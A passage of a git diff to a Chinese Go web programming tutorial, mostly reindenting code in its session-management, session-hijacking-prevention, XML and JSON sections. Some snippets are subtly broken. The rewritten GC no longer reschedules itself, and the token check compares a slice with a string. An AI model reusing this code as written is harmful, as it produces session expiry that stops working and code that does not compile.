== nil { - sess.Set("createtime", time.Now().Unix()) - } else if (createtime.(int64) + 360) < (time.Now().Unix()) { - globalSessions.SessionDestroy(w, r) - sess = globalSessions.SessionStart(w, r) - } - ct := sess.Get("countnum") - if ct == nil { - sess.Set("countnum", 1) - } else { - sess.Set("countnum", (ct.(int) + 1)) - } - t, _ := template.ParseFiles("count.gtpl") - w.Header().Set("Content-Type", "text/html") - t.Execute(w, sess.Get("countnum")) +func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 360) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) } + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) +} ``` 通过上面的例子可以看到,Session的操作和操作key/value数据库类似:Set、Get、Delete等操作 @@ -187,41 +187,43 @@ SessionStart函数返回的是一个满足Session接口的变量,那么我们 我们知道,Web应用中有用户退出这个操作,那么当用户退出应用的时候,我们需要对该用户的session数据进行销毁操作,上面的代码已经演示了如何使用session重置操作,下面这个函数就是实现了这个功能: ```Go - //Destroy sessionid - func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){ - cookie, err := r.Cookie(manager.cookieName) - if err != nil || cookie.Value == "" { - return - } else { - manager.lock.Lock() - defer manager.lock.Unlock() - manager.provider.SessionDestroy(cookie.Value) - expiration := time.Now() - cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1} - http.SetCookie(w, &cookie) - } +//Destroy sessionid +func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){ + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + return + } else { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionDestroy(cookie.Value) + expiration := time.Now() + cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1} + http.SetCookie(w, &cookie) } +} ``` ### session销毁 -我们来看一下Session管理器如何来管理销毁,只要我们在Main启动的时候启动: +我们来看一下Session管理器如何来管理销毁,只要我们在Main启动的时候启动: ```Go - func init() { - go globalSessions.GC() - } +func init() { + go globalSessions.GC() +} +``` - func (manager *Manager) GC() { - manager.lock.Lock() - defer manager.lock.Unlock() - manager.provider.SessionGC(manager.maxlifetime) - time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() }) - } +```Go + +func (manager *Manager) GC() { + manager.lock.Lock() + defer manager.lock.Unlock() + time.AfterFunc(time.Duration(manager.maxLifeTime), func() { manager.provider.SessionGC(manager.maxLifeTime) }) +} ``` 我们可以看到GC充分利用了time包中的定时器功能,当超时`maxLifeTime`之后调用GC函数,这样就可以保证`maxLifeTime`时间内的session都是可用的,类似的方案也可以用于统计在线用户数之类的。 ## 总结 -至此 我们实现了一个用来在Web应用中全局管理Session的SessionManager,定义了用来提供Session存储实现Provider的接口,下一小节,我们将会通过接口定义来实现一些Provider,供大家参考学习。 +至此 我们实现了一个用来在Web应用中全局管理Session的SessionManager,定义了用来提供Session存储实现Provider的接口,下一小节,我们将会通过接口定义来实现一些Provider,供大家参考学习。 ## links * [目录]() diff --git a/zh/06.3.md b/zh/06.3.md index 86a0aadad..037106d0b 100644 --- a/zh/06.3.md +++ b/zh/06.3.md @@ -2,136 +2,135 @@ 上一节我们介绍了Session管理器的实现原理,定义了存储session的接口,这小节我们将示例一个基于内存的session存储接口的实现,其他的存储方式,读者可以自行参考示例来实现,内存的实现请看下面的例子代码 ```Go - package memory - - import ( - "container/list" - "github.com/astaxie/session" - "sync" - "time" - ) - - var pder = &Provider{list: list.New()} - - type SessionStore struct { - sid string //session id唯一标示 - timeAccessed time.Time //最后访问时间 - value map[interface{}]interface{} //session里面存储的值 - } - - func (st *SessionStore) Set(key, value interface{}) error { - st.value[key] = value - pder.SessionUpdate(st.sid) +package memory + +import ( + "container/list" + "github.com/astaxie/session" + "sync" + "time" +) + +var pder = &Provider{list: list.New()} + +type SessionStore struct { + sid string //session id唯一标示 + timeAccessed time.Time //最后访问时间 + value map[interface{}]interface{} //session里面存储的值 +} + +func (st *SessionStore) Set(key, value interface{}) error { + st.value[key] = value + pder.SessionUpdate(st.sid) + return nil +} + +func (st *SessionStore) Get(key interface{}) interface{} { + pder.SessionUpdate(st.sid) + if v, ok := st.value[key]; ok { + return v + } else { return nil } - - func (st *SessionStore) Get(key interface{}) interface{} { - pder.SessionUpdate(st.sid) - if v, ok := st.value[key]; ok { - return v - } else { - return nil - } - return nil +} + +func (st *SessionStore) Delete(key interface{}) error { + delete(st.value, key) + pder.SessionUpdate(st.sid) + return nil +} + +func (st *SessionStore) SessionID() string { + return st.sid +} + +type Provider struct { + lock sync.Mutex //用来锁 + sessions map[string]*list.Element //用来存储在内存 + list *list.List //用来做gc +} + +func (pder *Provider) SessionInit(sid string) (session.Session, error) { + pder.lock.Lock() + defer pder.lock.Unlock() + v := make(map[interface{}]interface{}, 0) + newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} + element := pder.list.PushBack(newsess) + pder.sessions[sid] = element + return newsess, nil +} + +func (pder *Provider) SessionRead(sid string) (session.Session, error) { + if element, ok := pder.sessions[sid]; ok { + return element.Value.(*SessionStore), nil + } else { + sess, err := pder.SessionInit(sid) + return sess, err } + return nil, nil +} - func (st *SessionStore) Delete(key interface{}) error { - delete(st.value, key) - pder.SessionUpdate(st.sid) +func (pder *Provider) SessionDestroy(sid string) error { + if element, ok := pder.sessions[sid]; ok { + delete(pder.sessions, sid) + pder.list.Remove(element) return nil } + return nil +} - func (st *SessionStore) SessionID() string { - return st.sid - } - - type Provider struct { - lock sync.Mutex //用来锁 - sessions map[string]*list.Element //用来存储在内存 - list *list.List //用来做gc - } - - func (pder *Provider) SessionInit(sid string) (session.Session, error) { - pder.lock.Lock() - defer pder.lock.Unlock() - v := make(map[interface{}]interface{}, 0) - newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} - element := pder.list.PushBack(newsess) - pder.sessions[sid] = element - return newsess, nil - } +func (pder *Provider) SessionGC(maxlifetime int64) { + pder.lock.Lock() + defer pder.lock.Unlock() - func (pder *Provider) SessionRead(sid string) (session.Session, error) { - if element, ok := pder.sessions[sid]; ok { - return element.Value.(*SessionStore), nil - } else { - sess, err := pder.SessionInit(sid) - return sess, err + for { + element := pder.list.Back() + if element == nil { + break } - return nil, nil - } - - func (pder *Provider) SessionDestroy(sid string) error { - if element, ok := pder.sessions[sid]; ok { - delete(pder.sessions, sid) + if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { pder.list.Remove(element) - return nil - } - return nil - } - - func (pder *Provider) SessionGC(maxlifetime int64) { - pder.lock.Lock() - defer pder.lock.Unlock() - - for { - element := pder.list.Back() - if element == nil { - break - } - if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { - pder.list.Remove(element) - delete(pder.sessions, element.Value.(*SessionStore).sid) - } else { - break - } + delete(pder.sessions, element.Value.(*SessionStore).sid) + } else { + break } } - - func (pder *Provider) SessionUpdate(sid string) error { - pder.lock.Lock() - defer pder.lock.Unlock() - if element, ok := pder.sessions[sid]; ok { - element.Value.(*SessionStore).timeAccessed = time.Now() - pder.list.MoveToFront(element) - return nil - } +} + +func (pder *Provider) SessionUpdate(sid string) error { + pder.lock.Lock() + defer pder.lock.Unlock() + if element, ok := pder.sessions[sid]; ok { + element.Value.(*SessionStore).timeAccessed = time.Now() + pder.list.MoveToFront(element) return nil } + return nil +} - func init() { - pder.sessions = make(map[string]*list.Element, 0) - session.Register("memory", pder) - } +func init() { + pder.sessions = make(map[string]*list.Element, 0) + session.Register("memory", pder) +} ``` 上面这个代码实现了一个内存存储的session机制。通过init函数注册到session管理器中。这样就可以方便的调用了。我们如何来调用该引擎呢?请看下面的代码 ```Go - import ( - "github.com/astaxie/session" - _ "github.com/astaxie/session/providers/memory" - ) +import ( + "github.com/astaxie/session" + _ "github.com/astaxie/session/providers/memory" +) ``` 当import的时候已经执行了memory函数里面的init函数,这样就已经注册到session管理器中,我们就可以使用了,通过如下方式就可以初始化一个session管理器: ```Go - var globalSessions *session.Manager +var globalSessions *session.Manager - //然后在init函数中初始化 - func init() { - globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) - go globalSessions.GC() - } +//然后在init函数中初始化 +func init() { + globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) + go globalSessions.GC() +} ``` ## links diff --git a/zh/06.4.md b/zh/06.4.md index db3b52574..c0b779cb4 100644 --- a/zh/06.4.md +++ b/zh/06.4.md @@ -1,29 +1,29 @@ # 6.4 预防session劫持 -session劫持是一种广泛存在的比较严重的安全威胁,在session技术中,客户端和服务端通过session的标识符来维护会话, 但这个标识符很容易就能被嗅探到,从而被其他人利用.它是中间人攻击的一种类型。 +session劫持是一种广泛存在的比较严重的安全威胁,在session技术中,客户端和服务端通过session的标识符来维护会话, 但这个标识符很容易就能被嗅探到,从而被其他人利用。它是中间人攻击的一种类型。 本节将通过一个实例来演示会话劫持,希望通过这个实例,能让读者更好地理解session的本质。 ## session劫持过程 我们写了如下的代码来展示一个count计数器: ```Go - func count(w http.ResponseWriter, r *http.Request) { - sess := globalSessions.SessionStart(w, r) - ct := sess.Get("countnum") - if ct == nil { - sess.Set("countnum", 1) - } else { - sess.Set("countnum", (ct.(int) + 1)) - } - t, _ := template.ParseFiles("count.gtpl") - w.Header().Set("Content-Type", "text/html") - t.Execute(w, sess.Get("countnum")) +func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) +} ``` count.gtpl的代码如下所示: ```Go - Hi. Now count:{{.}} +Hi. Now count:{{.}} ``` 然后我们在浏览器里面刷新可以看到如下内容: @@ -60,27 +60,27 @@ count.gtpl的代码如下所示: 第二步就是在每个请求里面加上token,实现类似前面章节里面讲的防止form重复递交类似的功能,我们在每个请求里面加上一个隐藏的token,然后每次验证这个token,从而保证用户的请求都是唯一性。 ```Go - h := md5.New() - salt:="astaxie%^7&8888" - io.WriteString(h,salt+time.Now().String()) - token:=fmt.Sprintf("%x",h.Sum(nil)) - if r.Form["token"]!=token{ - //提示登录 - } - sess.Set("token",token) +h := md5.New() +salt:="astaxie%^7&8888" +io.WriteString(h,salt+time.Now().String()) +token:=fmt.Sprintf("%x",h.Sum(nil)) +if r.Form["token"]!=token{ + //提示登录 +} +sess.Set("token",token) ``` ### 间隔生成新的SID 还有一个解决方案就是,我们给session额外设置一个创建时间的值,一旦过了一定的时间,我们销毁这个sessionID,重新生成新的session,这样可以一定程度上防止session劫持的问题。 ```Go - createtime := sess.Get("createtime") - if createtime == nil { - sess.Set("createtime", time.Now().Unix()) - } else if (createtime.(int64) + 60) < (time.Now().Unix()) { - globalSessions.SessionDestroy(w, r) - sess = globalSessions.SessionStart(w, r) - } +createtime := sess.Get("createtime") +if createtime == nil { + sess.Set("createtime", time.Now().Unix()) +} else if (createtime.(int64) + 60) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) +} ``` session启动后,我们设置了一个值,用于记录生成sessionID的时间。通过判断每次请求是否过期(这里设置了60秒)定期生成新的ID,这样使得攻击者获取有效sessionID的机会大大降低。 diff --git a/zh/07.0.md b/zh/07.0.md index f3ff7ddbc..88bc8d2bf 100644 --- a/zh/07.0.md +++ b/zh/07.0.md @@ -1,7 +1,7 @@ # 7 文本处理 -Web开发中对于文本处理是非常重要的一部分,我们往往需要对输出或者输入的内容进行处理,这里的文本包括字符串、数字、Json、XMl等等。Go语言作为一门高性能的语言,对这些文本的处理都有官方的标准库来支持。而且在你使用中你会发现Go标准库的一些设计相当的巧妙,而且对于使用者来说也很方便就能处理这些文本。本章我们将通过四个小节的介绍,让用户对Go语言处理文本有一个很好的认识。 +Web开发中对于文本处理是非常重要的一部分,我们往往需要对输出或者输入的内容进行处理,这里的文本包括字符串、数字、Json、XML等等。Go语言作为一门高性能的语言,对这些文本的处理都有官方的标准库来支持。而且在你使用中你会发现Go标准库的一些设计相当的巧妙,而且对于使用者来说也很方便就能处理这些文本。本章我们将通过四个小节的介绍,让用户对Go语言处理文本有一个很好的认识。 -XML是目前很多标准接口的交互语言,很多时候和一些Java编写的webserver进行交互都是基于XML标准进行交互,7.1小节将介绍如何处理XML文本,我们使用XML之后发现它太复杂了,现在很多互联网企业对外的API大多数采用了JSON格式,这种格式描述简单,但是又能很好的表达意思,7.2小节我们将讲述如何来处理这样的JSON格式数据。正则是一个让人又爱又恨的工具,它处理文本的能力非常强大,我们在前面表单验证里面已经有所领略它的强大,7.3小节将详细的更深入的讲解如何利用好Go的正则。Web开发中一个很重要的部分就是MVC分离,在Go语言的Web开发中V有一个专门的包来支持`template`,7.4小节将详细的讲解如何使用模版来进行输出内容。7.5小节将详细介绍如何进行文件和文件夹的操作。7.6小结介绍了字符串的相关操作。 +XML是目前很多标准接口的交互语言,很多时候和一些Java编写的webserver进行交互都是基于XML标准进行交互,7.1小节将介绍如何处理XML文本,我们使用XML之后发现它太复杂了,现在很多互联网企业对外的API大多数采用了JSON格式,这种格式描述简单,但是又能很好的表达意思,7.2小节我们将讲述如何来处理这样的JSON格式数据。正则是一个让人又爱又恨的工具,它处理文本的能力非常强大,我们在前面表单验证里面已经有所领略它的强大,7.3小节将详细的更深入的讲解如何利用好Go的正则。Web开发中一个很重要的部分就是MVC分离,在Go语言的Web开发中V有一个专门的包来支持`template`,7.4小节将详细的讲解如何使用模版来进行输出内容。7.5小节将详细介绍如何进行文件和文件夹的操作。7.6小节介绍了字符串的相关操作。 ## 目录 ![](images/navi7.png?raw=true) diff --git a/zh/07.1.md b/zh/07.1.md index 1731f5786..235dc9640 100644 --- a/zh/07.1.md +++ b/zh/07.1.md @@ -6,17 +6,17 @@ XML作为一种数据交换和信息传递的格式已经十分普及。而随 假如你是一名运维人员,你为你所管理的所有服务器生成了如下内容的xml的配置文件: ```xml - - - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + ``` 上面的XML文档描述了两个服务器的信息,包含了服务器名和服务器的IP信息,接下来的Go例子以此XML描述的信息进行操作。 @@ -24,77 +24,77 @@ XML作为一种数据交换和信息传递的格式已经十分普及。而随 如何解析如上这个XML文件呢? 我们可以通过xml包的`Unmarshal`函数来达到我们的目的 ```Go - func Unmarshal(data []byte, v interface{}) error +func Unmarshal(data []byte, v interface{}) error ``` data接收的是XML数据流,v是需要输出的结构,定义为interface,也就是可以把XML转换为任意的格式。我们这里主要介绍struct的转换,因为struct和XML都有类似树结构的特征。 示例代码如下: ```Go - package main - - import ( - "encoding/xml" - "fmt" - "io/ioutil" - "os" - ) - - type Recurlyservers struct { - XMLName xml.Name `xml:"servers"` - Version string `xml:"version,attr"` - Svs []server `xml:"server"` - Description string `xml:",innerxml"` +package main + +import ( + "encoding/xml" + "fmt" + "io/ioutil" + "os" +) + +type Recurlyservers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + Description string `xml:",innerxml"` +} + +type server struct { + XMLName xml.Name `xml:"server"` + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` +} + +func main() { + file, err := os.Open("servers.xml") // For read access. + if err != nil { + fmt.Printf("error: %v", err) + return } - - type server struct { - XMLName xml.Name `xml:"server"` - ServerName string `xml:"serverName"` - ServerIP string `xml:"serverIP"` + defer file.Close() + data, err := ioutil.ReadAll(file) + if err != nil { + fmt.Printf("error: %v", err) + return } - - func main() { - file, err := os.Open("servers.xml") // For read access. - if err != nil { - fmt.Printf("error: %v", err) - return - } - defer file.Close() - data, err := ioutil.ReadAll(file) - if err != nil { - fmt.Printf("error: %v", err) - return - } - v := Recurlyservers{} - err = xml.Unmarshal(data, &v) - if err != nil { - fmt.Printf("error: %v", err) - return - } - - fmt.Println(v) + v := Recurlyservers{} + err = xml.Unmarshal(data, &v) + if err != nil { + fmt.Printf("error: %v", err) + return } + fmt.Println(v) +} + ``` XML本质上是一种树形的数据格式,而我们可以定义与之匹配的go 语言的 struct类型,然后通过xml.Unmarshal来将xml中的数据解析成对应的struct对象。如上例子输出如下数据 ```xml - {{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - } +{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + +} ``` 上面的例子中,将xml文件解析成对应的struct对象是通过`xml.Unmarshal`来完成的,这个过程是如何实现的?可以看到我们的struct定义后面多了一些类似于`xml:"serverName"`这样的内容,这个是struct的一个特性,它们被称为 struct tag,它们是用来辅助反射的。我们来看一下`Unmarshal`的定义: ```Go - func Unmarshal(data []byte, v interface{}) error +func Unmarshal(data []byte, v interface{}) error ``` 我们看到函数定义了两个参数,第一个是XML数据流,第二个是存储的对应类型,目前支持struct、slice和string,XML包内部采用了反射来进行数据的映射,所以v里面的字段必须是导出的。`Unmarshal`解析的时候XML元素和字段怎么对应起来的呢?这是有一个优先级读取流程的,首先会读取struct tag,如果没有,那么就会对应字段名。必须注意一点的是解析的时候tag、字段名、XML元素都是大小写敏感的,所以必须一一对应字段。 @@ -106,14 +106,14 @@ Go语言的反射机制,可以利用这些tag信息来将来自XML文件中的 ```xml - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + ``` @@ -133,61 +133,61 @@ Go语言的反射机制,可以利用这些tag信息来将来自XML文件中的 假若我们不是要解析如上所示的XML文件,而是生成它,那么在go语言中又该如何实现呢? xml包中提供了`Marshal`和`MarshalIndent`两个函数,来满足我们的需求。这两个函数主要的区别是第二个函数会增加前缀和缩进,函数的定义如下所示: ```Go - func Marshal(v interface{}) ([]byte, error) - func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) +func Marshal(v interface{}) ([]byte, error) +func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) ``` 两个函数第一个参数是用来生成XML的结构定义类型数据,都是返回生成的XML数据流。 下面我们来看一下如何输出如上的XML: ```Go - package main - - import ( - "encoding/xml" - "fmt" - "os" - ) - - type Servers struct { - XMLName xml.Name `xml:"servers"` - Version string `xml:"version,attr"` - Svs []server `xml:"server"` +package main + +import ( + "encoding/xml" + "fmt" + "os" +) + +type Servers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` +} + +type server struct { + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` +} + +func main() { + v := &Servers{Version: "1"} + v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) + v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) + output, err := xml.MarshalIndent(v, " ", " ") + if err != nil { + fmt.Printf("error: %v\n", err) } + os.Stdout.Write([]byte(xml.Header)) - type server struct { - ServerName string `xml:"serverName"` - ServerIP string `xml:"serverIP"` - } - - func main() { - v := &Servers{Version: "1"} - v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) - v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) - output, err := xml.MarshalIndent(v, " ", " ") - if err != nil { - fmt.Printf("error: %v\n", err) - } - os.Stdout.Write([]byte(xml.Header)) - - os.Stdout.Write(output) - } + os.Stdout.Write(output) +} ``` 上面的代码输出如下信息: ```xml - - - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + ``` 和我们之前定义的文件的格式一模一样,之所以会有`os.Stdout.Write([]byte(xml.Header))` 这句代码的出现,是因为`xml.MarshalIndent`或者`xml.Marshal`输出的信息都是不带XML头的,为了生成正确的xml文件,我们使用了xml包预定义的Header变量。 @@ -220,13 +220,13 @@ Go语言的反射机制,可以利用这些tag信息来将来自XML文件中的 - tag中含有`"a>b>c"`,那么就会循环输出三个元素a包含b,b包含c,例如如下代码就会输出 ```xml - FirstName string `xml:"name>first"` - LastName string `xml:"name>last"` + FirstName string `xml:"name>first"` + LastName string `xml:"name>last"` - - Asta - Xie - + + Asta + Xie + ``` 上面我们介绍了如何使用Go语言的xml包来编/解码XML文件,重要的一点是对XML的所有操作都是通过struct tag来实现的,所以学会对struct tag的运用变得非常重要,在文章中我们简要的列举了如何定义tag。更多内容或tag定义请参看相应的官方资料。 diff --git a/zh/07.2.md b/zh/07.2.md index 5f0cbbb36..8cd00de80 100644 --- a/zh/07.2.md +++ b/zh/07.2.md @@ -4,7 +4,7 @@ JSON(Javascript Object Notation)是一种轻量级的数据交换语言, 前一小节的运维的例子用json来表示,结果描述如下: ```json - {"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} +{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} ``` 本小节余下的内容将以此JSON数据为基础,来介绍go语言的json包对JSON数据的编、解码。 ## 解析JSON @@ -13,33 +13,33 @@ JSON(Javascript Object Notation)是一种轻量级的数据交换语言, 假如有了上面的JSON串,那么我们如何来解析这个JSON串呢?Go的JSON包中有如下函数 ```Go - func Unmarshal(data []byte, v interface{}) error +func Unmarshal(data []byte, v interface{}) error ``` 通过这个函数我们就可以实现解析的目的,详细的解析例子请看如下代码: ```Go - package main +package main - import ( - "encoding/json" - "fmt" - ) +import ( + "encoding/json" + "fmt" +) - type Server struct { - ServerName string - ServerIP string - } +type Server struct { + ServerName string + ServerIP string +} - type Serverslice struct { - Servers []Server - } +type Serverslice struct { + Servers []Server +} - func main() { - var s Serverslice - str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` - json.Unmarshal([]byte(str), &s) - fmt.Println(s) - } +func main() { + var s Serverslice + str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` + json.Unmarshal([]byte(str), &s) + fmt.Println(s) +} ``` 在上面的示例代码中,我们首先定义了与json数据对应的结构体,数组对应slice,字段名对应JSON里面的KEY,在解析的时候,如何将json数据与struct字段相匹配呢?例如JSON的key是`Foo`,那么怎么找对应的字段呢? @@ -62,71 +62,71 @@ JSON(Javascript Object Notation)是一种轻量级的数据交换语言, 现在我们假设有如下的JSON数据 ```Go - b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) +b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) ``` 如果在我们不知道他的结构的情况下,我们把他解析到interface{}里面 ```Go - var f interface{} - err := json.Unmarshal(b, &f) +var f interface{} +err := json.Unmarshal(b, &f) ``` 这个时候f里面存储了一个map类型,他们的key是string,值存储在空的interface{}里 ```Go - f = map[string]interface{}{ - "Name": "Wednesday", - "Age": 6, - "Parents": []interface{}{ - "Gomez", - "Morticia", - }, - } +f = map[string]interface{}{ + "Name": "Wednesday", + "Age": 6, + "Parents": []interface{}{ + "Gomez", + "Morticia", + }, +} ``` 那么如何来访问这些数据呢?通过断言的方式: ```Go - m := f.(map[string]interface{}) +m := f.(map[string]interface{}) ``` 通过断言之后,你就可以通过如下方式来访问里面的数据了 ```Go - for k, v := range m { - switch vv := v.(type) { - case string: - fmt.Println(k, "is string", vv) - case int: - fmt.Println(k, "is int", vv) - case float64: - fmt.Println(k,"is float64",vv) - case []interface{}: - fmt.Println(k, "is an array:") - for i, u := range vv { - fmt.Println(i, u) - } - default: - fmt.Println(k, "is of a type I don't know how to handle") +for k, v := range m { + switch vv := v.(type) { + case string: + fmt.Println(k, "is string", vv) + case int: + fmt.Println(k, "is int", vv) + case float64: + fmt.Println(k,"is float64",vv) + case []interface{}: + fmt.Println(k, "is an array:") + for i, u := range vv { + fmt.Println(i, u) } + default: + fmt.Println(k, "is of a type I don't know how to handle") } +} ``` 通过上面的示例可以看到,通过interface{}与type assert的配合,我们就可以解析未知结构的JSON数了。 上面这个是官方提供的解决方案,其实很多时候我们通过类型断言,操作起来不是很方便,目前bitly公司开源了一个叫做`simplejson`的包,在处理未知结构体的JSON时相当方便,详细例子如下所示: ```Go - js, err := NewJson([]byte(`{ - "test": { - "array": [1, "2", 3], - "int": 10, - "float": 5.150, - "bignum": 9223372036854775807, - "string": "simplejson", - "bool": true - } - }`)) +js, err := NewJson([]byte(`{ + "test": { + "array": [1, "2", 3], + "int": 10, + "float": 5.150, + "bignum": 9223372036854775807, + "string": "simplejson", + "bool": true + } +}`)) - arr, _ := js.Get("test").Get("array").Array() - i, _ := js.Get("test").Get("int").Int() - ms := js.Get("test").Get("string").MustString() +arr, _ := js.Get("test").Get("array").Array() +i, _ := js.Get("test").Get("int").Int() +ms := js.Get("test").Get("string").MustString() ``` 可以看到,使用这个库操作JSON比起官方包来说,简单的多,详细的请参考如下地址:https://github.com/bitly/go-simplejson @@ -135,55 +135,55 @@ JSON(Javascript Object Notation)是一种轻量级的数据交换语言, 我们开发很多应用的时候,最后都是要输出JSON数据串,那么如何来处理呢?JSON包里面通过`Marshal`函数来处理,函数定义如下: ```Go - func Marshal(v interface{}) ([]byte, error) +func Marshal(v interface{}) ([]byte, error) ``` 假设我们还是需要生成上面的服务器列表信息,那么如何来处理呢?请看下面的例子: ```Go - package main - - import ( - "encoding/json" - "fmt" - ) - - type Server struct { - ServerName string - ServerIP string - } - - type Serverslice struct { - Servers []Server - } - - func main() { - var s Serverslice - s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) - s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) - b, err := json.Marshal(s) - if err != nil { - fmt.Println("json err:", err) - } - fmt.Println(string(b)) +package main + +import ( + "encoding/json" + "fmt" +) + +type Server struct { + ServerName string + ServerIP string +} + +type Serverslice struct { + Servers []Server +} + +func main() { + var s Serverslice + s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) + s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) + b, err := json.Marshal(s) + if err != nil { + fmt.Println("json err:", err) } + fmt.Println(string(b)) +} ``` 输出如下内容: ```json - {"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} +{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} ``` 我们看到上面的输出字段名的首字母都是大写的,如果你想用小写的首字母怎么办呢?把结构体的字段名改成首字母小写的?JSON输出的时候必须注意,只有导出的字段才会被输出,如果修改字段名,那么就会发现什么都不会输出,所以必须通过struct tag定义来实现: ```Go - type Server struct { - ServerName string `json:"serverName"` - ServerIP string `json:"serverIP"` - } +type Server struct { + ServerName string `json:"serverName"` + ServerIP string `json:"serverIP"` +} - type Serverslice struct { - Servers []Server `json:"servers"` - } +type Serverslice struct { + Servers []Server `json:"servers"` +} ``` 通过修改上面的结构体定义,输出的JSON串就和我们最开始定义的JSON串保持一致了。 @@ -198,32 +198,32 @@ JSON(Javascript Object Notation)是一种轻量级的数据交换语言, 举例来说: ```Go - type Server struct { - // ID 不会导出到JSON中 - ID int `json:"-"` +type Server struct { + // ID 不会导出到JSON中 + ID int `json:"-"` - // ServerName2 的值会进行二次JSON编码 - ServerName string `json:"serverName"` - ServerName2 string `json:"serverName2,string"` + // ServerName2 的值会进行二次JSON编码 + ServerName string `json:"serverName"` + ServerName2 string `json:"serverName2,string"` - // 如果 ServerIP 为空,则不输出到JSON串中 - ServerIP string `json:"serverIP,omitempty"` - } + // 如果 ServerIP 为空,则不输出到JSON串中 + ServerIP string `json:"serverIP,omitempty"` +} - s := Server { - ID: 3, - ServerName: `Go "1.0" `, - ServerName2: `Go "1.0" `, - ServerIP: ``, - } - b, _ := json.Marshal(s) - os.Stdout.Write(b) +s := Server { + ID: 3, + ServerName: `Go "1.0" `, + ServerName2: `Go "1.0" `, + ServerIP: ``, +} +b, _ := json.Marshal(s) +os.Stdout.Write(b) ``` 会输出以下内容: ```json - {"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} +{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} ``` Marshal函数只有在转换成功的时候才会返回数据,在转换的过程中我们需要注意几点: diff --git a/zh/07.3.md b/zh/07.3.md index 74df4f1b4..d8b5c2290 100644 --- a/zh/07.3.md +++ b/zh/07.3.md @@ -11,9 +11,9 @@ Go语言通过`regexp`标准包为正则表达式提供了官方支持,如果 